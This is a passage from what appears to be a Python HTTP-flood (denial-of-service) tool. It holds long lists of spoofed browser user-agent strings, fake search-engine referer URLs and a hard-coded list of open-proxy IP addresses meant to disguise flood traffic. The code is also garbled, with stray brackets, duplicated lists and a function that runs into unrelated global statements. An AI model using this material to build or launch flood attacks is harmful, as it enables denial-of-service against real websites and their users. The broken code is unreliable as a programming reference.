OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Links (2.1pre15; FreeBSD 5.4-STABLE i386; 158x58)]')] useragents = [('User-agent','Wget/1.8.2')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.0')] useragents = [('User-agent','Mediapartners-Google/2.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5)] Gecko/20031007 Firebird/0.7')] useragents = [('User-agent','Mozilla/4.04 [en] (WinNT; I)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)]')] useragents = [('User-agent','lwp-trivial/1.41')] useragents = [('User-agent','NetBSD-ftp/20031210')] useragents = [('User-agent','Dillo/0.8.5-i18n-misc')] useragents = [('User-agent','Links (2.1pre20; NetBSD 2.1_STABLE i386; 145x54)]')] reFerers = [ "https://w...content-available-to-author-only...m.vn/?gws_rd=ssl#q=", "http://y...content-available-to-author-only...x.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..", "http://c...content-available-to-author-only...y.com/profile.php?redirect=", "http://w...content-available-to-author-only...y.com/search/results?q=", "http://y...content-available-to-author-only...x.ru/yandsearch?text=", "http://g...content-available-to-author-only...l.ru/search?mail.ru=1&q=", "http://n...content-available-to-author-only...r.ru/search?=btnG?=%D0?2?%D0?2?%=D0..", "http://r...content-available-to-author-only...a.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..", "http://r...content-available-to-author-only...o.com/search;_yzt=?=A7x9Q.bs67zf..", "http://r...content-available-to-author-only...o.com/search;?_query?=l%t=?=?A7x..", "http://g...content-available-to-author-only...l.ru/search?gay.ru.query=1&q=?abc.r..", "http://n...content-available-to-author-only...r.ru/search?btnG=%D0%9D%?D0%B0%D0%B..", "http://w...content-available-to-author-only...e.ru/url?sa=t&rct=?j&q=&e..", "http://h...content-available-to-author-only...u.com/searchResult?keywords=", "http://w...content-available-to-author-only...g.com/search?q=", "https://w...content-available-to-author-only...x.com/yandsearch?text=", "https://d...content-available-to-author-only...o.com/?q=", "http://w...content-available-to-author-only...k.com/web?q=", "http://s...content-available-to-author-only...l.com/aol/search?q=", "https://w...content-available-to-author-only...m.nl/vaste-onderdelen/zoeken/?zoeken_term=", "http://v...content-available-to-author-only...3.org/feed/check.cgi?url=", "http://h...content-available-to-author-only...r.com/check_page/?furl=", "http://w...content-available-to-author-only...r.com/url/translation.aspx?direction=er&sourceURL=", "http://j...content-available-to-author-only...3.org/css-validator/validator?uri=", "https://a...content-available-to-author-only...o.com/rss?url=", "http://e...content-available-to-author-only...l.com/search?q=", "https://s...content-available-to-author-only...y.com/market/search?q=", "http://f...content-available-to-author-only...o.com/search?q=", "http://w...content-available-to-author-only...t.com/site/pinterest.com/search?q=", "http://e...content-available-to-author-only...e.net/wow/en/search?q=", "http://e...content-available-to-author-only...l.com/search?q=", "http://c...content-available-to-author-only...n.org/search?q=", "http://t...content-available-to-author-only...t.edu/search?q=", "http://w...content-available-to-author-only...m.tv/search?q=", "http://w...content-available-to-author-only...d.com/search?q=", "http://f...content-available-to-author-only...a.com/search?q=", "http://i...content-available-to-author-only...h.io/search?q=", "http://j...content-available-to-author-only...s.com/jobs/search?q=", "http://t...content-available-to-author-only...p.org/search?q=", "http://w...content-available-to-author-only...m.vn/news/vn/search&q=", "https://play.google.com/store/search?q=", "http://w...content-available-to-author-only...s.gov/@@tceq-search?q=", "http://w...content-available-to-author-only...t.com/search?q=", "http://w...content-available-to-author-only...r.com/events/search?q=", "https://c...content-available-to-author-only...e.org/search?q=", "http://j...content-available-to-author-only...s.com/search?q=", "http://j...content-available-to-author-only...g.com/search?q=", "https://w...content-available-to-author-only...t.com/search/?q=", "http://m...content-available-to-author-only...r.org/search?q=", "https://w...content-available-to-author-only...s.com/search?q=", "http://w...content-available-to-author-only...s.uk/search?q=", "http://w...content-available-to-author-only...q.com/search?q="] def referer_list(): global headers_referers headers_referers.append('218.207.216.234:80') headers_referers.append('94.200.66.206:3130') headers_referers.append('41.188.153.41:808') headers_referers.append('54.159.136.246:8888') headers_referers.append('199.189.84.217:3128') headers_referers.append('173.82.2.234:8089') headers_referers.append('121.14.138.56:81') headers_referers.append('61.184.192.42:80') headers_referers.append('114.255.183.173:8080') headers_referers.append('176.31.21.245:3128') headers_referers.append('116.236.216.116:8080') headers_referers.append('119.97.164.48:8085') headers_referers.append('162.208.49.45:7808') headers_referers.append('177.234.0.110:3130') headers_referers.append('60.191.39.252:80') headers_referers.append('115.84.178.93:3128') headers_referers.append('58.68.145.39:80') headers_referers.append('188.165.52.186:3128') headers_referers.append('66.248.183.101:3128') headers_referers.append('128.199.164.194:8080') headers_referers.append('200.131.32.70:8080') headers_referers.append('213.157.52.75:3130') headers_referers.append('46.147.215.185:8080') headers_referers.append('176.31.21.253:443') headers_referers.append('177.223.2.1:8080') headers_referers.append('41.86.25.158:8080') headers_referers.append('201.62.48.182:8080') headers_referers.append('41.86.25.158:8080') headers_referers.append('5.196.50.200:8081') headers_referers.append('95.143.41.21:8089') headers_referers.append('12.176.53.226:80') headers_referers.append('12.175.212.98:80') headers_referers.append('12.176.54.98:80') headers_referers.append('12.176.53.194:80') headers_referers.append('12.181.196.194:80') headers_referers.append('12.182.35.130:80') headers_referers.append('12.179.227.2:80') headers_referers.append('12.183.219.199:80') headers_referers.append('12.181.195.34:80') headers_referers.append('12.185.97.131:80') headers_referers.append('12.184.172.3:80') headers_referers.append('12.181.243.2:80') headers_referers.append('12.197.38.130:80') headers_referers.append('12.181.195.66:80') headers_referers.append('12.231.138.2:80') return(headers_referers) global headers_useragents headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') 